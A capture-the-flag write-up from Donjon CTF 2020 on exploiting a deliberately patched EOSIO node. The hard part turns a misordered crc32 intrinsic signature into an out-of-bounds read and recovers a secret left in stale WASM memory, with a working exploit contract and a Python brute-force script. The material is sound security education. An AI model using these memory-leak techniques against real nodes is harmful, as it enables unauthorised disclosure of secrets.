[Donjon CTF 2020] Hacking EOS: Modern Cryptocomputer

This post originally appeared on the Cryptohack blog, feel free to read it there. It is presented here as a form of archival and to collect all my posts in one place.

These two challenges in the Hardware/Pwn category of Ledger Donjon CTF saw us exploit an EOS node with smart contracts.

Easy Modern Cryptocomputer (100pts)

A smart contract seems to be a good place to hide a secret flag. Doesn’t it?

We were given a README and a Dockerfile for building a Docker image running a patched EOSIO node.

EOSIO is a blockchain which can run smart contracts, similar to Ethereum. For our purposes, a key feature of EOSIO is that the smart contracts are compiled WebAssembly programs that run sandboxed on EOSIO nodes. EOS smart contracts are usually written in C++, but developers can use any programming language that can be compiled to WebAssembly (wasm).

The idea behind this challenge is that a CRC32 intrinsic function has been added to EOSIO nodes, but there might be a problem with it. So the creators have added a secret flag to their node which can be read by smart contracts through the new get_secret_flag intrinsic that reads an environment variable. The function is part of the wasm “privileged API”, therefore only a system user or a privileged contract on the challenge remote node should be allowed to call it. On the other hand, any user or contract may call the crc32 function. Since the Dockerfile builds from the latest copy of the EOSIO source code, it looks like we need to abuse the crc32 function to grab the flag (unless we can find a zero day in EOS ;)).

Here’s the patch provided - note that wasm_interface.cpp contains intrinsics that can be called from smart contracts such as hash functions:

+++ b/libraries/chain/wasm_interface.cpp
@@ -314,6 +314,17 @@ class privileged_api : public context_aware_api {
          });
       }

+      uint32_t get_secret_flag( array_ptr<char> dest, uint32_t length ) {
+         const char *flag = getenv("FLAG");
+         if (!flag) {
+            flag = "No flag provided";
+         }
+         if ((size_t)length >= strlen(flag)) {
+            length = (uint32_t)strlen(flag);
+         }
+         ::memcpy(dest, flag, length);
+         return length;
+      }
 };

 class softfloat_api : public context_aware_api {
@@ -909,6 +920,18 @@ class crypto_api : public context_aware_api {
       void ripemd160(array_ptr<char> data, uint32_t datalen, fc::ripemd160& hash_val) {
          hash_val = encode<fc::ripemd160::encoder>( data, datalen );
       }
+
+      // Implement the same CRC as binascii.crc32 in Python
+      uint32_t crc32(array_ptr<char> data, uint32_t value, uint32_t datalen) {
+         printf("INPUT POINTER: %p\n", &data[0]);
+         value = ~value;
+         for (int i = 0; i < datalen; i++) {
+            value ^= data[i];
+            for (unsigned int bitpos = 0; bitpos < 8; bitpos ++) {
+               value = (value >> 1) ^ (0xEDB88320 & -(value & 1));
+            }
+         }
+         return ~value;
+      }
 };

However, it turns out that this “easy” version of the challenge didn’t require any memory exploitation. In fact, the main part of this challenge was understanding EOS and figuring out how to get up and running with it.

First, by iterating over blocks on the blockchain of the remote node, we were able to find a smart contract:

$ curl http://modern-cryptocomputer.donjon-ctf.io:30510/v1/chain/get_block -d '{"block_num_or_id": 223}'
{"timestamp":"2020-10-06T15:54:59.000","producer":"eosio","confirmed":0,"previous":"000000de5cb1cb15e6e2b40f1c2c01b43de1313b154ff2fcd9a6e5d528445f68","transaction_mroot": ...

This block contained a WebAssembly program in hex, and associated data. An actions array showed that an actor called “flagchecker” is allowed to update the authorisation on the contract. So we were pretty sure we’d stumbled upon the right thing to investigate.

We decompiled the WebAssembly using wabt. This gave messy pseudocode which took some work to untangle, but eventually we were able to find locations in the code which performed CRC32 over input, and compared an input hash to the SHA256 of the flag. We also found that a flag was getting copied to memory location 0x10000 (although we later discovered this was the flag for the hard version of the challenge).

We wanted to start experimenting with calling this contract, and by reading the EOSIO docs, realised that we could deploy the WASM on our local node if we had the contracts’ Application Binary Interface (ABI). We were able to extract that from the blockchain also:

{
  "version": "eosio::abi/1.1",
  "types": [],
  "structs": [
    {
      "name": "checkhashflg",
      "base": "",
      "fields": [
        {
          "name": "user",
          "type": "name"
        },
        {
          "name": "hash_flag_hex",
          "type": "string"
        }
      ]
    }
  ],
  "actions": [
    {
      "name": "checkhashflg",
      "type": "checkhashflg",
      "ricardian_contract": ""
    }
  ],
  "tables": [],
  "ricardian_clauses": [],
  "error_messages": [],
  "abi_extensions": [],
  "variants": []
}

So the flagchecker contract has a single function, checkhashflg, with two parameter, user and hash_flag_hex.

After following the EOSIO developers’ tutorial from sections 1.4 to 1.6, we had a local copy of the node running and could deploy this smart contract to it, using the following invocation:

$ cleos set contract eosio /opt/eosio/contracts/easy/ -p eosio@active

Now the contract was on our own blockchain, we could push an action to it:

$ cleos push action eosio checkhashflg '{"user": "eosio", "hash_flag_hex": "00"}' -p eosio
executed transaction: 539c06f374427cd51f27f2c4e60151fed6b01b6b7f073bc3b4d080896b1f6a49  104 bytes  791 us
#         eosio <= eosio::checkhashflg          {"user":"eosio","hash_flag_hex":"00"}
>> Hello, eosio! You are not allowed to call this contract.

Initially we thought this was an error coming from the node due to an incorrect way we had called the contract (we had faced enough errors already to get to this point), we eventually realised this message was coming from the contract itself. So closer dissasembly of why it was appearing would be required. After some more reading we noticed this bit of decompilation:

  h = env_crc32(e, 0, h);
  if (eqz(d[64]:ubyte & 1)) goto B_i;
  f_gb((d + 72)[0]:int);
  label B_i:
  d[27]:int = h;
  if (h != 1226134910) goto B_l;

This revealed we needed a username that CRC32’s to the value 1226134910. This was easy to bruteforce as “maze”.

Finally, we needed to create a “maze” account on our local node and call checkhashflg using maze as the principle, and the contract spat out the easy flag:

$ cleos create account eosio maze EOS87K6LyQ48We4Pyq9zumXHSQjzozLX5A8FHgxEnrrWh955ZSQkd
$ cleos push action eosio checkhashflg '{"user": "maze", "hash_flag_hex": "00"}' -p maze
Error 3050003: eosio_assert_message assertion failure
Error Details:
assertion failure with message: Unexpected SHA256 size
pending console output: Hello, maze! easyflag=CTF{04f5f3fbbc08dac23645890b03dd0d72fed6c5988621e62295610ff23a377e3b}

Hard Modern Cryptocomputer (500pts)

Normal users are not able to read the secret embedded in the WASM virtual machine. Can you leak it? You need to solve “Easy Modern Cryptocomputer” before this challenge.

The easy version of the challenge had got us up to the point where we were calling the contract, but we hadn’t even exploited anything in the node patch yet, so naturally we reckoned that was the next place to look.

However, it was unclear how we could access the flag. Would we need escalate to a privileged user? Break out of the WASM sandbox and print out the flag from the stack? Overflow the buffer in the provided contract to leak the flag in memory?

One of the first things we noticed was that get_secret_flag is explicitly using ::memcpy, the memcpy in the top-level namespace, rather than a potentially customized memcpy of EOS (it turned out that the “custom” memcpy version we saw was actually an intrinsic being exposed to wasm). After testing this and some other simple ideas, we didn’t get very far.

Slowly, we became more confident that the exploit had to involve CRC32 over arbitrary memory locations. Since the crc32 function was a feature of the patched nodes, we could write our own smart contract and call it. But how to abuse this ability? The function looked fine, its API seemingly not too different from other intrinsic hash functions, and we were unable to find any useful resources about the EOSIO WASM sandbox or previous exploitation work on it.

Looking further at differences that might set the crc32 function apart from intrinsics such as the sha256 function, we finally identified something suspicious: the function signature.

uint32_t crc32(array_ptr<char> data, uint32_t value, uint32_t datalen)

It’s not immediately obvious, but in all other intrinsics, the datalen directly followed data as an argument. For the intrinsic hash functions, since the only other argument was an output variable, this was easy to miss.

But, when we dived deeper into the definition for array_ptr, we found this:

/**
 * class to represent an in-wasm-memory array
 * it is a hint to the transcriber that the next parameter will
 * be a size (in Ts) and that the pair are validated together
 * This triggers the template specialization of intrinsic_invoker_impl
 * @tparam T
 */
template<typename T>
inline array_ptr<T> array_ptr_impl (size_t ptr, size_t length)

Jackpot! Rather unintuitively, the array_ptr type must be followed by its length parameter, and these values are validated together. This was surprising to us as the usual pattern for this is to combine a buffer and its length in a struct when this kind of validation is important.

What does this give us? It means that we can call crc32 with data pointing to memory inside the WASM sandbox during execution of a contract, value set to 0, and datalen set to an arbitrary length. Then we can keep reading forwards in memory and taking the CRC32. We can bruteforce CRC32 one value at a time to get memory reads that wouldn’t normally be possible, since the data pointer plus the length would spill into memory not allocated for the contract. It’s not quite an arbitrary memory read, but it was progress.

We wrote a quick contract to validate that our idea indeed worked:

#include <eosio/eosio.hpp>
#include <eosio/crypto.hpp>

using namespace eosio;

extern "C" [[eosio::wasm_import]] uint32_t crc32(const char*, uint32_t, uint32_t);
extern "C" [[eosio::wasm_import]] uint32_t get_secret_flag(const char*, uint32_t);

class [[eosio::contract]] pwn : public contract {
    public:
        using contract::contract;

        [[eosio::action]]
        void pwn(name user) {
            const char *ptr = "bla";
            int out = crc32(ptr, 0, 65537);
            print(out);
        }
};

Executing this, we could read some weird stuff in memory after the char pointer.

But then we got stuck. How to get the flag? Since it’s an environment variable, it’ll be on the stack, but we can still only read allocated memory pages, accessing anything else would result in a segfault. The wasm memory is presumably allocated somewhere on the heap, while the flag is somewhere on the stack, and we’re pretty much guaranteed that these will not be contiguous. Trying to reach the stack from where we can start would both be impossible due to the segfaults, as well as being infeasible due to requiring a linear scan over the in-between memory for every byte we can leak.

Interested in how the wasm memory is managed, and where exactly it can be found - still somehow hoping we could get close to the stack somewhere - we dug deeper into the EOS source. With noticeable surprise on our faces, we soon realised that the wasm memory area Memory::data is a static member (which would also immediately mean that multiple wasm programs cannot or should not be executed in parallel). This implies that the same memory location might be consistent across multiple calls, and hopefully (from an attacker’s perspective) isn’t immediately cleared in between runs.

Looking at the source, we saw that all the memory that is used or reserved is cleared or initialized, but if the std::vector is shrunk relative to the last call, it is hopefully not reallocated, and the old data extending past our “fences” is not cleared. Perhaps we could first run the other contract that called the privileged get_secret_flag, then read some remnants of memory it left behind? We shouldn’t normally be allowed to access that memory due to the in-WASM protections, but we had already found a way to evade them. That would also explain why the flag was loaded into memory at such a specific address (0x10000) by the other contract: that was exactly one wasm memory page, the unit in which the wasm memory is measured. We could make sure our own contract needed only a single page, and then read out of bounds from the remnants of the privileged contract on the second page.

We wrote a Python script for bruting memory reads one deployed contract at a time, and pointed it at our last accessible memory address before 0x10000. Note that it could be faster by doing the bruteforce inside the contract itself; but the code was sufficient to get the flag in a few minutes so there was no need to optimise:

import binascii
import subprocess
from subprocess import PIPE

contract = """
#include <eosio/eosio.hpp>
#include <eosio/crypto.hpp>

using namespace eosio;

extern "C" [[eosio::wasm_import]] uint32_t crc32(const char*, uint32_t, uint32_t);
extern "C" [[eosio::wasm_import]] uint32_t get_secret_flag(const char*, uint32_t);

class [[eosio::contract]] pwn : public contract {
    public:
        using contract::contract;

        [[eosio::action]]
        void pwn(name user) {
            const char *ptr = (char *)0xffff;
            uint32_t out = crc32(ptr, 0, POSITION);
            print(out);
        }
};
"""


def publish_contract(contract):
    with open("pwn.cpp", 'w') as f:
        f.write(contract)
    subprocess.run(["eosio-cpp", "pwn.cpp", "-o", "pwn.wasm"])
    subprocess.run(["cleos", "-u", "http://modern-cryptocomputer.donjon-ctf.io:61775/", "set", "contract", "maze", "/opt/eosio/contracts/pwn/", "-p", "maze@active"])
    subp = subprocess.run(["cleos", "-u", "http://modern-cryptocomputer.donjon-ctf.io:61775/", "push", "action", "maze", "hi", '["maze"]', "-p", "maze@active"], stdout=PIPE, stderr=PIPE)
    print(subp.stdout)
    print(subp.stderr)

    output = subp.stdout.strip().split(b"\n")
    crc_res = output[-1].replace(b">", b"")
    crc_res = int(crc_res)
    print(crc_res)
    return crc_res


curr = b""
pos = 0

while True:
    pos += 1
    contract2 = contract.replace("POSITION", str(pos))
    crc_target = publish_contract(contract2)

    for i in range(256):
        temp = curr + bytes([i])
        out = binascii.crc32(temp)
        if out == crc_target:
            curr = curr + bytes([i])
            print(curr)
            break

The output of the script shows the flag appearing character by character:

Warning, empty ricardian clause file                                                                                                                                                          Warning, empty ricardian clause file
Warning, action <hi> does not have a ricardian contract
Reading WASM from /opt/eosio/contracts/pwn/pwn.wasm...
Skipping set abi because the new abi is the same as the existing abi
Publishing contract...
executed transaction: 895079151c7c45b53a3f7df03d4ab3b39c2cd7aa9152d545a2c6ce4c5eb117cf  632 bytes  1522 us
#         eosio <= eosio::setcode               {"account":"maze","vmtype":0,"vmversion":0,"code":"0061736d0100000001370b6000017f60027f7f0060037f7f7...
warning: transaction executed locally, but may not be confirmed by the network yet         ]
b'#          maze <= maze::hi                     {"user":"maze"}\n>> 9020020\n'
b'executed transaction: 8764d941196b9d4cb4ad979d3ff08aa1b9c998aeb1c9343be6bbe8b7a4bbb121  104 bytes  374 us\nwarn  2020-11-08T22:36:55.034 cleos     main.cpp:513                  print_resul
t         ] \rwarning: transaction executed locally, but may not be confirmed by the network yet\n'
9020020
b'CTF{S3cur1ty_with_C++_TeM'
Warning, empty ricardian clause file
Warning, empty ricardian clause file
Warning, action <hi> does not have a ricardian contract
Reading WASM from /opt/eosio/contracts/pwn/pwn.wasm...
Skipping set abi because the new abi is the same as the existing abi
Publishing contract...
executed transaction: 2583b751da8d72a671d46d1be67bcb0fcd5dfaa9984991d1e20a6ae86b74ac08  632 bytes  1456 us
#         eosio <= eosio::setcode               {"account":"maze","vmtype":0,"vmversion":0,"code":"0061736d0100000001370b6000017f60027f7f0060037f7f7...
warning: transaction executed locally, but may not be confirmed by the network yet         ]
b'#          maze <= maze::hi                     {"user":"maze"}\n>> 3580863030\n'
b'executed transaction: 1df65b055bce13b4932d3d9c6f2b30c9dee82ff818833c6be8b1c9d9c8604c41  104 bytes  487 us\nwarn  2020-11-08T22:37:00.550 cleos     main.cpp:513                  print_resul
t         ] \rwarning: transaction executed locally, but may not be confirmed by the network yet\n'
3580863030
b'CTF{S3cur1ty_with_C++_TeMp'

The full flag: CTF{S3cur1ty_with_C++_TeMpLaTeS_15_fragile}